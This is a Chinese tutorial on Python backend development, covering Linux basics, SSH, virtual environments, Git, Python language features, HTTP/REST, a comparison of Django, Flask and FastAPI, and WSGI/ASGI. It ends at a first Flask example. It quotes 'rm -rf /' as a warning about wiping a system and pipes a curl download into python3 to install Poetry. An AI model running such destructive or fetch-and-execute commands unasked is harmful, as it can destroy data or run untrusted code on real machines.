从零搭建一个生产级后端服务,你需要知道的一切
你打开手机刷朋友圈、点外卖、网购、看视频——这些操作背后,都有一台远程电脑在默默处理你的请求。这台电脑上运行的程序,就是后端。而 Python,是写后端最流行的语言之一。
如果把一个网站比作一家餐厅,前端就是你看到的菜单、装修和服务员——负责"展示"。后端就是厨房——负责"做菜"。你点了一份红烧肉(发了一个请求),厨房(后端)接单、做菜、装盘、端出来(返回响应)。Python 就是厨房里最好用的那把菜刀——上手快、用途广、什么菜都能切。
后端开发的核心工作可以归纳为四件事:
后端可以用 Java、Go、Node.js、Rust 等很多语言。为什么 Python 特别值得学?
| 优势 | 说明 |
|---|---|
| 入门门槛最低 | 语法像英语,没有复杂的类型声明和编译步骤。初学者几天就能写出能跑的 Web 服务。 |
| 生态极其丰富 | Django、Flask、FastAPI 三大框架覆盖所有场景。PyPI 上有 50 万+ 的第三方库。 |
| AI/ML 生态绑定 | PyTorch、TensorFlow、LangChain 全是 Python。后端 + AI 结合的趋势不可逆。 |
| 社区庞大 | 遇到问题 Google 一下就有答案。Stack Overflow 上 Python 问题数量常年 Top 3。 |
| 全栈能力 | 同一门语言搞定后端 + 数据分析 + 爬虫 + 自动化运维。 |
Python 的运行速度确实比 Go、Rust 慢。但对于 90% 的 Web 业务场景(CRUD 操作),瓶颈在数据库而不是代码。当真的遇到性能瓶颈时,可以用异步框架(FastAPI)、缓存(Redis)、任务队列(Celery)来解决。Instagram、Pinterest、Dropbox 的后端都是 Python。
Python 后端开发者的就业方向非常广泛:
这本教程按照从易到难的顺序编排,建议按以下节奏学习:
如果你完全没写过代码,建议先花 1-2 周学 Python 基础语法(变量、循环、函数、类),再来学这本教程。推荐用 interactive Python tutorial(搜索 "Python Tutorial W3Schools")快速入门。不需要学得很深,能看懂简单的 for 循环和函数定义就够了。
学完这本教程,你将具备以下能力:独立设计和开发一个完整的后端 API 服务、用数据库存储和查询数据、实现用户认证和权限控制、用 Docker 部署到云服务器、用缓存和队列优化性能、编写自动化测试。这些能力足以胜任初级到中级后端开发工程师的岗位。
几乎所有生产环境的服务器都运行 Linux。你写的 Python 代码最终要部署到 Linux 上。不懂 Linux,就像赛车手不懂怎么开车——代码写得再好也跑不起来。
Windows 是自动挡汽车——点点鼠标就能完成大部分操作。Linux 是手动挡——你需要用命令来操控一切。手动挡更灵活、更高效,但需要学习换挡(命令行操作)。好消息是,你只需要学会 20-30 个常用命令就能应付 90% 的场景。
Linux 的一切皆文件。学会操作文件和目录是第一步:
| 命令 | 作用 | 示例 |
|---|---|---|
ls | 列出目录内容 | ls -la(显示详细信息,包括隐藏文件) |
cd | 切换目录 | cd /var/log(进入日志目录) |
pwd | 显示当前路径 | pwd(输出 /home/user) |
mkdir | 创建目录 | mkdir -p a/b/c(递归创建多级目录) |
cp | 复制文件 | cp -r src/ dst/(递归复制目录) |
mv | 移动/重命名 | mv old.py new.py |
rm | 删除文件 | rm -rf build/(强制递归删除,慎用!) |
cat | 查看文件内容 | cat config.py |
tail | 查看文件末尾 | tail -f app.log(实时跟踪日志) |
grep | 搜索文本 | grep -r "error" /var/log/(递归搜索关键词) |
find | 查找文件 | find / -name "*.py" -size +1M |
chmod | 修改权限 | chmod 755 run.sh |
chown | 修改所有者 | chown www-data:www-data app/ |
rm -rf / 会删除整个系统的所有文件!在生产环境执行任何删除命令前,先用 ls 确认目标。建议在 .bashrc 中加上 alias rm='rm -i',让每次删除都提示确认。
Linux 用"三组三位"控制文件权限:
从左到右:第 1 位是文件类型(- 文件,d 目录)。后面 9 位分成三组:所有者(u)、同组(g)、其他人(o),每组三位分别是 读(r=4)、写(w=2)、执行(x=1)。
chmod 755 app.py——所有者读写执行(7=4+2+1),其他人读和执行(5=4+1)。Web 应用常用。chmod 600 secret.key——只有所有者能读写。密钥文件必须这样设。chmod 644 config.py——所有者读写,其他人只读。配置文件常用。后端开发者经常需要查看、启动、停止服务进程:
| 命令 | 作用 | 场景 |
|---|---|---|
ps aux | 查看所有进程 | ps aux | grep python(找 Python 进程) |
top / htop | 实时监控资源 | 查看 CPU、内存使用情况 |
kill | 终止进程 | kill -9 12345(强制终止 PID 为 12345 的进程) |
systemctl | 管理服务 | systemctl restart nginx(重启 Nginx) |
nohup | 后台运行 | nohup python app.py &(后台运行不中断) |
supervisor | 进程守护 | 自动重启崩溃的进程(生产环境必备) |
tail -f /var/log/app.log 实时看日志 → grep "ERROR" app.log 搜错误 → ps aux | grep gunicorn 看进程 → systemctl restart app 重启服务。这四条命令组合,能解决 80% 的线上排查问题。
当你在浏览器输入 https://www.baidu.com,发生了什么?
www.baidu.com 翻译成 IP 地址 110.242.68.66。就像查电话簿找人名对应的号码。一台服务器可以同时运行多个服务(Web、数据库、Redis)。端口就是区分不同服务的编号:
| 端口 | 常见服务 | 说明 |
|---|---|---|
22 | SSH | 远程登录服务器 |
80 | HTTP | 网站默认端口 |
443 | HTTPS | 加密网站 |
3306 | MySQL | 数据库 |
5432 | PostgreSQL | 数据库 |
6379 | Redis | 缓存 |
8000 / 8080 | Web 应用 | 开发服务器常用端口 |
云服务器默认只开放 22(SSH)和 443(HTTPS)端口。如果你的应用跑在 8000 端口,需要在云控制台的安全组中添加入站规则。但不要把数据库端口(3306/5432)暴露到公网——只允许服务器本机或内网访问。
SSH(Secure Shell)是连接远程服务器的标准方式:
# 1. 密码登录(简单但不安全)
ssh root@123.45.67.89
# 输入密码即可
# 2. 密钥登录(推荐!更安全)
# 本地生成密钥对
ssh-keygen -t ed25519 -C "your@email.com"
# 把公钥传到服务器
ssh-copy-id root@123.45.67.89
# 之后登录不需要密码
ssh root@123.45.67.89
# 3. 传输文件
scp app.py root@123.45.67.89:/home/app/ # 上传单个文件
scp -r ./myapp root@123.45.67.89:/home/app/ # 上传整个目录
# 4. SSH 端口转发(把远程端口映射到本地)
ssh -L 3306:localhost:3306 root@123.45.67.89 # 本地访问远程 MySQL
在 ~/.ssh/config 中配置服务器别名,省去每次输入 IP 的麻烦:
# ~/.ssh/config
Host myserver
HostName 123.45.67.89
User root
IdentityFile ~/.ssh/id_ed25519
# 之后只需:ssh myserver
Linux 用包管理器安装软件,就像手机的应用商店:
# Ubuntu / Debian(apt)
sudo apt update # 更新软件源
sudo apt install nginx # 安装 Nginx
sudo apt remove nginx # 卸载
sudo apt upgrade # 升级所有已安装的包
# CentOS / RHEL(yum / dnf)
sudo yum install nginx
sudo yum remove nginx
sudo yum update
工欲善其事,必先利其器。在写第一行 Python 代码之前,你需要把开发环境搭好。这就像做菜之前先把锅碗瓢盆摆好。
虚拟环境就像厨房里的独立工作台——你在 A 工作台做中餐(项目 A 用 Django 3.2),在 B 工作台做西餐(项目 B 用 Django 4.2)。两个工作台互不干扰。没有虚拟环境,所有项目共用一个环境,版本冲突会让你崩溃。
python.org 下载安装包,勾选"Add Python to PATH"(非常重要!),然后一路 Next。打开 cmd 输入 python --version 验证。brew install python@3.12。macOS 自带的 Python 版本较旧,不要用。sudo apt install python3.12 python3.12-venv python3-pip。CentOS:sudo dnf install python3.12。推荐 Python 3.11 或 3.12。不要用 3.8 以下的旧版本,也不要追最新的 3.13(部分库兼容性还没跟上)。用 python3 --version 确认版本。Linux/macOS 上 python 可能指向 Python 2,始终用 python3。
虚拟环境是 Python 后端开发的必备工具。每个项目一个独立环境,避免依赖冲突。
# 1. 创建虚拟环境
python3 -m venv myproject-env
# 2. 激活虚拟环境
# Windows:
myproject-env\Scripts\activate
# macOS / Linux:
source myproject-env/bin/activate
# 激活后,命令行前面会出现 (myproject-env) 标识
(myproject-env) $ python --version
Python 3.12.4
# 3. 安装依赖
pip install flask django fastapi
# 4. 导出依赖列表
pip freeze > requirements.txt
# 5. 从 requirements.txt 安装依赖
pip install -r requirements.txt
# 6. 退出虚拟环境
deactivate
忘记激活虚拟环境就开始 pip install,结果包装到了全局环境。每次开始工作前,先确认命令行前面有 (venv) 标识。VS Code 会自动检测虚拟环境,但你需要手动选择 Python 解释器(Ctrl+Shift+P → "Python: Select Interpreter")。
Poetry 是 pip + virtualenv 的升级版,能自动管理依赖版本、锁定文件、打包发布:
# 安装 Poetry
curl -sSL https://install.python-poetry.org | python3 -
# 创建新项目
poetry new myproject
cd myproject
# 添加依赖(自动管理虚拟环境)
poetry add flask
poetry add sqlalchemy
poetry add --group dev pytest # 开发依赖
# 安装所有依赖
poetry install
# 运行命令(在虚拟环境中)
poetry run python app.py
poetry run pytest
# 激活虚拟环境
poetry shell
# 生成 lock 文件(锁定所有依赖的精确版本)
poetry lock
| 工具 | 优点 | 缺点 |
|---|---|---|
| pip + venv | Python 内置,零安装 | 没有 lock 文件,依赖解析弱 |
| Poetry | 自动管理虚拟环境、lock 文件、打包发布 | 安装稍复杂,学习曲线 |
| conda | 管理 Python 版本 + C 扩展依赖 | 体积大,主要用于数据科学 |
| uv | 极快(Rust 写的)、兼容 pip | 较新,生态还在成长 |
新项目首选 Poetry 或 uv。如果你是初学者,先用 pip + venv 理解原理,再迁移到 Poetry。企业项目通常用 Poetry。
VS Code 是 Python 后端开发最流行的编辑器(免费、插件丰富):
# 必装插件(在 VS Code 扩展市场搜索安装)
1. Python # Microsoft 官方,语法高亮 + 调试
2. Pylance # 智能补全、类型检查
3. Python Debugger # 断点调试
4. autoDocstring # 自动生成文档字符串
5. GitLens # Git 增强(查看谁改了哪行代码)
6. Thunder Client / REST Client # API 测试(类似 Postman)
7. SQLite Viewer # 查看数据库文件
推荐配置(在 .vscode/settings.json 中):
{
"python.defaultInterpreterPath": "./venv/bin/python",
"python.linting.enabled": true,
"python.linting.ruffEnabled": true,
"python.formatting.provider": "none",
"[python]": {
"editor.defaultFormatter": "charliermarsh.ruff",
"editor.formatOnSave": true,
"editor.codeActionsOnSave": {
"source.fixAll": "explicit",
"source.organizeImports": "explicit"
}
},
"files.exclude": {
"**/__pycache__": true,
"**/*.pyc": true
}
}
Git 是版本控制系统——记录代码的每次修改,让你能回退到任何历史版本。后端开发必备。
# 1. 初始化仓库
git init
git add .
git commit -m "初始提交"
# 2. 日常工作流
git status # 查看哪些文件改了
git diff # 查看具体改了什么
git add . # 暂存所有修改
git commit -m "修复登录bug" # 提交
# 3. 分支管理
git branch feature-login # 创建分支
git checkout feature-login # 切换分支
git checkout -b feature-login # 创建并切换(简写)
git checkout main # 回到主分支
git merge feature-login # 合并分支
# 4. 远程仓库
git remote add origin https://github.com/you/repo.git
git push -u origin main # 推送到 GitHub
git pull origin main # 拉取最新代码
# 5. .gitignore(告诉 Git 忽略哪些文件)
# 创建 .gitignore 文件,写入:
__pycache__/
*.pyc
.env
venv/
.idea/
.vscode/
好的 commit message 能让团队快速理解每次修改的目的。推荐格式:类型: 简短描述。类型包括:feat(新功能)、fix(修复)、docs(文档)、refactor(重构)、test(测试)。例如:feat: 添加用户注册接口、fix: 修复密码验证逻辑。
这一章不是 Python 入门教程——我们假设你已经知道变量、循环、函数这些基础。这里专门讲后端开发中高频使用的 Python 特性。掌握这些,你看框架源码时就不会一脸懵。
装饰器是 Python 最强大也最让人困惑的特性之一。本质很简单:一个函数包装另一个函数,在不修改原函数代码的情况下增加功能。
装饰器就像手机壳——手机本身没变(函数逻辑不变),但套上壳后多了防摔功能(额外逻辑)。你可以套多个壳(叠加多个装饰器)。
# 最简单的装饰器
import time
import functools
def timer(func):
"""计时装饰器:记录函数执行时间"""
@functools.wraps(func) # 保留原函数的 __name__、__doc__ 等元信息
def wrapper(*args, **kwargs):
start = time.time()
result = func(*args, **kwargs) # 调用原函数
elapsed = time.time() - start
print(f"{func.__name__} 耗时 {elapsed:.3f}秒")
return result
return wrapper
@timer # 等价于 slow_function = timer(slow_function)
def slow_function():
time.sleep(1)
return "完成"
slow_function() # 输出:slow_function 耗时 1.001秒
后端中最常见的装饰器用法:
# Flask 路由装饰器(定义 URL 映射)
@app.route('/api/users', methods=['GET'])
def get_users():
return jsonify(users)
# Django 权限装饰器(限制登录用户才能访问)
@login_required
def dashboard(request):
return render(request, 'dashboard.html')
# 自定义:接口耗时统计 + 日志
def log_api(func):
@functools.wraps(func) # 保留原函数元信息
def wrapper(*args, **kwargs):
print(f"[API] 调用 {func.__name__}")
try:
result = func(*args, **kwargs)
print(f"[API] {func.__name__} 成功")
return result
except Exception as e:
print(f"[API] {func.__name__} 失败: {e}")
raise
return wrapper
如果装饰器需要参数(如 @login_required(role='admin')),需要多嵌套一层函数。简单理解:不带参数的装饰器是 @deco,带参数的是 @deco(args)(实际上是先调用 deco(args) 返回真正的装饰器,再用这个装饰器去装饰函数)。
# 带参数的装饰器示例
def require_role(role):
"""检查用户角色的装饰器"""
def decorator(func):
@functools.wraps(func)
def wrapper(*args, **kwargs):
user = get_current_user()
if user.role != role:
raise PermissionError(f"需要 {role} 权限")
return func(*args, **kwargs)
return wrapper
return decorator
@require_role('admin') # 先调用 require_role('admin') 返回装饰器
def delete_user(user_id):
...
生成器是一种"惰性"的数据生产者——它不会一次性把所有数据加载到内存,而是用一个产出一个。
普通函数像自动贩卖机——你按一下,它把所有商品全倒出来(返回完整列表)。生成器像厨师做菜——你点一道,他做一道(yield 一个值),不浪费。
# 普通函数:一次性返回所有数据(内存占用大)
def get_all_users():
result = []
for i in range(1000000):
result.append(f"user_{i}") # 100万个字符串全部存在内存
return result
# 生成器:按需产出(内存占用极小)
def generate_users():
for i in range(1000000):
yield f"user_{i}" # 每次只产出一个,用完就丢
# 使用
for user in generate_users(): # 逐个处理,内存中始终只有一个
if user == "user_999":
break # 不需要的数据不会被生成
后端中的典型应用场景:
for line in open('log.txt'),Python 自动用生成器逐行读取。query.yield_per(1000) 分批获取。yield 一块一块返回数据,不用等全部生成完。Python 3.5+ 支持类型提示——给变量和函数标注类型。不会影响运行,但能让 IDE 提供更好的补全和错误检查。
# 函数签名的类型提示
def create_user(name: str, age: int, email: str | None = None) -> dict:
"""创建用户,返回用户信息字典"""
user = {"name": name, "age": age}
if email:
user["email"] = email
return user
# 变量类型提示
count: int = 0
items: list[str] = ["apple", "banana"]
config: dict[str, Any] = {"debug": True}
# Pydantic 中大量使用类型提示(FastAPI 的核心)
from pydantic import BaseModel
class UserCreate(BaseModel):
name: str # 必填
age: int = Field(ge=0, le=150) # 必填,0-150之间
email: str | None = None # 可选
FastAPI 的核心卖点就是"类型提示驱动开发"——你写的类型提示会自动生成 API 文档、自动校验请求参数。Django 和 Flask 也在逐步拥抱类型提示。更重要的是,类型提示让代码可读性大幅提升:看到 def get_user(user_id: int) -> User | None,你立刻知道传什么、返回什么。
写一个"只存数据"的类,传统方式需要手写 __init__、__repr__、__eq__。dataclass 帮你自动生成:
from dataclasses import dataclass, field
from datetime import datetime
@dataclass
class User:
name: str
age: int
email: str = "" # 默认值
created_at: datetime = field(default_factory=datetime.now) # 动态默认值
tags: list[str] = field(default_factory=list) # 可变默认值用 factory
def is_adult(self) -> bool: # 可以加方法
return self.age >= 18
# 自动拥有 __init__、__repr__、__eq__
user = User(name="张三", age=25)
print(user) # User(name='张三', age=25, email='', created_at=..., tags=[])
print(user.is_adult()) # True
上下文管理器确保资源在使用后被正确释放(关闭文件、释放锁、回滚事务):
# 最常见的:文件操作
with open("config.py", "r") as f:
content = f.read()
# 离开 with 块后,文件自动关闭(即使发生异常)
# 数据库事务(SQLAlchemy)
with session.begin():
user.name = "新名字"
session.add(user)
# 离开 with 块后,自动 commit 或 rollback
# 自定义上下文管理器
from contextlib import contextmanager
@contextmanager
def timer_context(label):
start = time.time()
yield # with 块中的代码在这里执行
elapsed = time.time() - start
print(f"{label} 耗时 {elapsed:.3f}秒")
with timer_context("数据库查询"):
users = db.query(User).all() # 会被计时
f-string 是 Python 3.6+ 引入的字符串格式化方式,比 % 和 .format() 更简洁:
name = "张三"
age = 25
price = 99.5
# 基础用法
print(f"姓名:{name},年龄:{age}") # 姓名:张三,年龄:25
# 表达式
print(f"明年 {age + 1} 岁") # 明年 26 岁
print(f"打折后:{price * 0.8:.1f} 元") # 打折后:79.6 元(.1f 保留1位小数)
# 调用函数
print(f"大写:{name.upper()}") # 大写:张三(对中文无效,对英文有效)
# 调试模式(Python 3.8+)——后端开发神器
user_count = 42
print(f"{user_count = }") # user_count = 42(自动打印变量名和值)
用 pathlib 代替 os.path,代码更清晰:
from pathlib import Path
# 创建路径
project = Path("/home/app/myproject")
config = project / "config" / "settings.py" # 用 / 拼接路径(跨平台!)
# 常用操作
config.exists() # 文件是否存在
config.is_file() # 是否是文件
config.read_text() # 读取文件内容
config.write_text("新内容") # 写入文件
config.suffix # 文件扩展名:'.py'
config.stem # 文件名(不含扩展名):'settings'
config.parent # 父目录:/home/app/myproject/config
# 遍历目录
for py_file in project.glob("**/*.py"): # 递归查找所有 .py 文件
print(py_file)
# 创建目录
Path("logs").mkdir(parents=True, exist_ok=True) # 递归创建,已存在不报错
你会在后续章节中反复看到这些语法:Flask 的 @app.route 是装饰器、FastAPI 的 async for 用到生成器、Pydantic 依赖类型提示、Django 的 with connection.cursor() 是上下文管理器。现在花 30 分钟理解这些,后面学框架会轻松很多。
Python 3.5+ 支持原生异步编程——用 async/await 写并发代码。FastAPI 的高性能就建立在异步之上。
同步像排队取餐——你必须等前一个人取完才能轮到你。异步像取号等餐——你取了号就可以去逛别的,叫到你再去取。在等待(IO)的时间,CPU 可以去处理其他请求。
import asyncio
import time
# 同步版本:总耗时 3 秒
def sync_fetch(url):
time.sleep(1) # 模拟网络请求
return f"数据来自 {url}"
def sync_main():
for url in ["api1", "api2", "api3"]:
print(sync_fetch(url)) # 串行执行,每次等 1 秒
# 异步版本:总耗时 1 秒
async def async_fetch(url):
await asyncio.sleep(1) # 异步等待,不阻塞事件循环
return f"数据来自 {url}"
async def async_main():
# 并发执行三个请求
results = await asyncio.gather(
async_fetch("api1"),
async_fetch("api2"),
async_fetch("api3"),
)
for result in results:
print(result)
# 运行异步代码
asyncio.run(async_main()) # 总耗时约 1 秒
# 协程 vs 线程 vs 进程
# - 协程(async/await):IO 密集型最佳选择,单线程,无锁
# - 线程(threading):IO 密集型,有 GIL 限制,适合兼容同步代码
# - 进程(multiprocessing):CPU 密集型,绕过 GIL,适合计算密集任务
# 在异步代码中调用同步阻塞函数
import asyncio
def blocking_io():
time.sleep(1) # 同步阻塞
return "完成"
async def main():
# ❌ 错误:直接调用会阻塞整个事件循环
# result = blocking_io()
# ✅ 正确:放到线程池中执行
result = await asyncio.to_thread(blocking_io)
print(result)
asyncio.run(main())
① IO 密集型(网络请求、数据库查询、文件读写)→ 用 async/await。② CPU 密集型(图像处理、数据分析、加密计算)→ 用 multiprocessing。③ 既有 IO 又有 CPU → 异步 + asyncio.to_thread() 包装 CPU 任务。
HTTP 是 Web 的"语言"——浏览器和服务器之间所有的沟通都靠它。作为后端开发者,你写的每一行代码都在处理 HTTP 请求和响应。
HTTP 就像写信的格式规范。信封上要写收件人地址(URL)、发件人信息(Header)、信的内容(Body)。邮局(网络)按照这个格式把信送到目的地。REST 就是在这个格式基础上,约定了一套"写信礼仪"——让所有人都能看懂你的信。
一个 HTTP 请求包含四部分:
POST /api/users HTTP/1.1 ← 请求行:方法 + URL + 协议版本
# 查询参数(Query String)——GET 请求常用,用 ? 和 & 连接
# GET /api/users?page=1&limit=20&sort=-created_at&role=admin
Host: www.example.com ← 请求头(Header)
Content-Type: application/json
Authorization: Bearer eyJhbGciOi...
Cookie: session_id=abc123
{ ← 请求体(Body)
"name": "张三",
"age": 25,
"email": "zhangsan@example.com"
}
HTTP 定义了多种方法来表达"你想做什么":
| 方法 | 含义 | 后端对应操作 | 幂等性 |
|---|---|---|---|
GET | 获取资源 | 查询数据库,返回数据 | ✅ 幂等 |
POST | 创建资源 | 插入数据库,返回新记录 | ❌ 不幂等 |
PUT | 整体替换资源 | 更新整条记录 | ✅ 幂等 |
PATCH | 部分更新资源 | 只修改部分字段 | ❌ 不幂等 |
DELETE | 删除资源 | 从数据库删除记录 | ✅ 幂等 |
OPTIONS | 查询支持的方法 | CORS 预检请求 | ✅ 幂等 |
幂等 = 执行一次和执行多次的效果一样。GET /users/1 查 1 次和查 100 次结果一样,所以幂等。POST /orders 发一次创建一个订单,发 10 次创建 10 个订单,所以不幂等。幂等性在设计 API 时非常重要——网络超时重试时,幂等操作是安全的。
状态码告诉客户端"请求结果如何"。记住常用的就够了:
| Header | 作用 | 示例 |
|---|---|---|
Content-Type | 请求体的数据格式 | application/json |
Authorization | 身份认证令牌 | Bearer eyJhbG... |
Cookie | 会话信息 | session_id=abc123 |
Accept | 客户端期望的响应格式 | application/json |
User-Agent | 客户端信息 | Mozilla/5.0 ... |
X-Forwarded-For | 真实 IP(经过代理后) | 1.2.3.4 |
HTTP 是明文传输的——你在咖啡厅连公共 WiFi 登录网站,密码可能被别人截获。HTTPS 在 HTTP 外面加了一层 TLS 加密:
现代浏览器会标记 HTTP 网站为"不安全"。用 Let's Encrypt 可以免费获取 SSL 证书。第 56 章会详细讲如何配置。
REST(Representational State Transfer)不是协议,而是一种设计风格。遵循 REST 规范的 API 直观、一致、易用:
# 好的 RESTful 设计
GET /api/users # 获取用户列表
GET /api/users/123 # 获取 ID=123 的用户
POST /api/users # 创建新用户
PUT /api/users/123 # 更新 ID=123 的用户(整体替换)
PATCH /api/users/123 # 更新 ID=123 的用户(部分修改)
DELETE /api/users/123 # 删除 ID=123 的用户
# 嵌套资源
GET /api/users/123/orders # 获取用户 123 的订单列表
POST /api/users/123/orders # 为用户 123 创建订单
以下写法虽然能用,但不 RESTful:
GET /api/getUser?id=123(动词放在 URL 里)→ 应该用 GET /api/users/123
POST /api/deleteUser(用 POST 代替 DELETE)→ 应该用 DELETE /api/users/123
GET /api/user_list(用下划线)→ 应该用 /api/users(复数名词,用连字符)
无状态意味着:请求 A 和请求 B 之间没有关联。服务器不会记住"你刚才已经登录了"。那怎么知道用户是谁?答案是:每次请求都带上令牌(JWT)或 Cookie。这让水平扩展变得简单——新增一台服务器就能分担流量,不需要同步会话状态。
当前端(localhost:3000)调用后端(localhost:8000)时,浏览器会报 CORS(跨域资源共享)错误。这不是代码 Bug,是浏览器的安全策略。解决方法:后端添加 CORS 中间件(Flask 用 Flask-CORS,FastAPI 用 CORSMiddleware,Django 用 django-cors-headers)。第 13/20 章会详细讲。
用原生 Python 写 Web 服务是可能的(http.server 模块),但就像用菜刀砍树——能砍,但太费劲。Web 框架帮你处理路由、请求解析、响应生成、模板渲染等重复工作,让你专注于业务逻辑。
Django 像宜家的整套家具——买回来就能用,桌子椅子柜子全配齐,但你想换个抽屉样式不太方便。
Flask 像一盒乐高积木——给你基础零件,你想搭什么就搭什么,但需要自己找零件。
FastAPI 像一辆特斯拉——最新技术、性能极强、自动驾驶(自动文档),但充电桩(生态)还在建设中。
| 维度 | Django | Flask | FastAPI |
|---|---|---|---|
| 定位 | 全功能框架 | 微框架 | 现代 API 框架 |
| 哲学 | Batteries Included(开箱即用) | Do One Thing Well(最小核心) | Type-Driven(类型驱动) |
| ORM | 内置 Django ORM(强大) | 无(用 SQLAlchemy) | 无(用 SQLAlchemy / Tortoise) |
| Admin 后台 | 内置(强大!) | 无 | 无 |
| 模板引擎 | 内置模板 | Jinja2 | Jinja2(可选) |
| 异步支持 | 3.1+ 支持(渐进式) | 原生不支持 | 原生异步(async/await) |
| 自动文档 | 无(需 DRF + drf-spectacular) | 无(需 flask-apispec) | 内置 Swagger + ReDoc |
| 性能 | 中等 | 中等 | 很高(接近 Node.js/Go) |
| 学习曲线 | 中等偏高 | 低 | 低(会 Python 类型提示就行) |
| 社区成熟度 | 非常成熟(2005 年) | 非常成熟(2010 年) | 快速成长(2018 年) |
| 代表公司 | Instagram、Pinterest、Mozilla | Netflix、Reddit、Lyft | Microsoft、Uber、Explosion |
以"返回 JSON 响应"为测试场景(2026 年最新数据,requests/sec):
对于大多数业务场景(CRUD 操作),瓶颈在数据库而不是框架。每秒 2500 请求 vs 15000 请求,对用户来说感知不到差异。除非你做的是实时通信、高频交易、大模型推理网关等对延迟敏感的场景,否则选你最熟悉的框架就好。
同一个功能——"获取用户列表",三种框架的写法:
# ========== Django ==========
# views.py
from django.http import JsonResponse
from .models import User
def user_list(request):
users = list(User.objects.values('id', 'name', 'email'))
return JsonResponse(users, safe=False)
# urls.py
urlpatterns = [
path('api/users/', views.user_list),
]
# ========== Flask ==========
from flask import Flask, jsonify
app = Flask(__name__)
@app.route('/api/users')
def user_list():
users = db.query(User).all()
return jsonify([{"id": u.id, "name": u.name} for u in users])
# ========== FastAPI ==========
from fastapi import FastAPI
from pydantic import BaseModel
app = FastAPI()
class UserOut(BaseModel):
id: int
name: str
email: str
@app.get("/api/users", response_model=list[UserOut])
async def user_list():
return await db.fetch_all(User)
如果你是后端初学者,先学 Flask——它让你理解 Web 框架的底层原理(路由、请求、响应)。然后学 FastAPI——它是 Python Web 的未来趋势,AI 应用后端的事实标准。Django 留到你需要做全栈项目时再学。这本教程三个框架都会覆盖。
你写了一个 Flask 应用,然后用 flask run 启动——但 Flask 自带的开发服务器只适合开发,不能用于生产。生产环境需要专业的 Web 服务器(Gunicorn、Uvicorn)。那你的 Flask 代码和 Gunicorn 之间是怎么"对话"的?答案就是 WSGI 和 ASGI。
WSGI/ASGI 就像电源插座的标准。你的吹风机(Flask 应用)插到任何标准插座(Gunicorn 服务器)上都能用。如果每家的插座都不一样,你就得每到一个新地方买一个新吹风机。WSGI/ASGI 就是 Python Web 世界的"插座标准"——让框架和服务器可以自由组合。
WSGI(Web Server Gateway Interface,PEP 3333)是 Python Web 的传统标准。它定义了 Web 服务器和 Web 应用之间的接口:
# WSGI 应用的最小实现(理解原理用,不需要手写)
def application(environ, start_response):
"""
environ: 字典,包含所有请求信息(URL、方法、Header 等)
start_response: 回调函数,用于发送响应状态码和 Header
"""
# 1. 从 environ 中获取请求信息
method = environ['REQUEST_METHOD'] # GET / POST
path = environ['PATH_INFO'] # /api/users
# 2. 处理业务逻辑
body = f"你访问了 {method} {path}"
# 3. 发送响应
status = '200 OK'
headers = [('Content-Type', 'text/plain; charset=utf-8')]
start_response(status, headers)
# 4. 返回响应体(必须是可迭代对象)
return [body.encode('utf-8')]
Flask 和 Django 底层就是这样的 WSGI 应用。Gunicorn 作为 WSGI 服务器,负责:
environ 字典environ 传给你的 Flask/Django 应用WSGI 是同步的——一个请求处理完才能处理下一个。ASGI(Asynchronous Server Gateway Interface)支持异步:
# ASGI 应用的最小实现
async def application(scope, receive, send):
"""
scope: 请求信息(类似 WSGI 的 environ)
receive: 异步函数,接收请求体
send: 异步函数,发送响应
"""
# 1. 获取请求信息
method = scope['method']
path = scope['path']
# 2. 异步处理(可以同时处理多个请求!)
body = f"你访问了 {method} {path}"
# 3. 发送响应
await send({
'type': 'http.response.start',
'status': 200,
'headers': [[b'content-type', b'text/plain']],
})
await send({
'type': 'http.response.body',
'body': body.encode('utf-8'),
})
# ASGI 的杀手锏:WebSocket 支持(WSGI 做不到!)
async def websocket_app(scope, receive, send):
if scope['type'] == 'websocket':
while True:
message = await receive()
if message['type'] == 'websocket.connect':
await send({'type': 'websocket.accept'})
elif message['type'] == 'websocket.receive':
# 回显消息
await send({'type': 'websocket.send', 'text': f"Echo: {message['text']}"})
elif message['type'] == 'websocket.disconnect':
break
| 维度 | WSGI | ASGI |
|---|---|---|
| 同步/异步 | 同步(阻塞) | 异步(非阻塞) |
| 并发模型 | 多进程/多线程 | 协程(async/await) |
| WebSocket | ❌ 不支持 | ✅ 原生支持 |
| HTTP/2 | 部分支持 | ✅ 原生支持 |
| 适用框架 | Flask、Django(传统模式) | FastAPI、Django(ASGI 模式) |
| 服务器 | Gunicorn、uWSGI | Uvicorn、Daphne、Hypercorn |
| 性能 | 适合 I/O 不密集的场景 | 高并发 I/O 密集场景优势明显 |
如果你的应用涉及:WebSocket 实时通信、大量并发 API 请求(如 AI 推理网关)、Server-Sent Events(SSE)、长连接——用 ASGI。如果只是传统的 CRUD Web 应用,WSGI 完全够用。
gunicorn -k uvicorn.workers.UvicornWorker app:app。兼具 Gunicorn 的进程管理和 Uvicorn 的异步性能。# Flask(WSGI 应用)+ Gunicorn(WSGI 服务器)
# 安装:pip install flask gunicorn
# 开发:flask run(自带开发服务器)
# 生产:gunicorn -w 4 -b 0.0.0.0:8000 app:app
# FastAPI(ASGI 应用)+ Uvicorn(ASGI 服务器)
# 安装:pip install fastapi uvicorn
# 开发:uvicorn app:app --reload
# 生产:gunicorn -k uvicorn.workers.UvicornWorker -w 4 app:app
# -w 4 表示 4 个 worker。推荐公式:worker 数 = 2 * CPU 核心数 + 1
# Django 4.1+(同时支持 WSGI 和 ASGI)
# WSGI:gunicorn myproject.wsgi:application
# ASGI:gunicorn -k uvicorn.workers.UvicornWorker myproject.asgi:application
Flask 的 flask run 和 Django 的 runserver 都是开发服务器——单进程、无安全防护、性能差。绝对不要在生产环境使用开发服务器。生产环境必须用 Gunicorn/Uvicorn + Nginx(反向代理)。第 53 章会详细讲生产部署。
一个请求从用户到你的代码的完整路径:
用户浏览器 → DNS → Nginx(反向代理/负载均衡) → Gunicorn/Uvicorn(应用服务器) → 你的 Flask/Django/FastAPI 代码 → 数据库
Nginx 负责处理静态文件、SSL 终止、负载均衡、限流。Gunicorn/Uvicorn 负责运行你的 Python 代码。两者配合,缺一不可。
Flask 是 Python 最受欢迎的微框架——"微"不是说它功能弱,而是说它的核心极简,只保留最核心的功能(路由、请求/响应),其他功能通过扩展实现。
Flask 就像一个空的工具箱——里面只有一把螺丝刀和一把扳手(路由和模板),但你可以根据需要往里加锤子(SQLAlchemy)、电钻(Flask-Login)、卷尺(Flask-CORS)。Django 则是买回来就装满工具的大工具箱。
# app.py — 5 行代码,一个完整的 Web 服务
from flask import Flask
app = Flask(__name__) # 创建 Flask 应用实例
@app.route('/') # 装饰器:把 URL / 映射到下面的函数
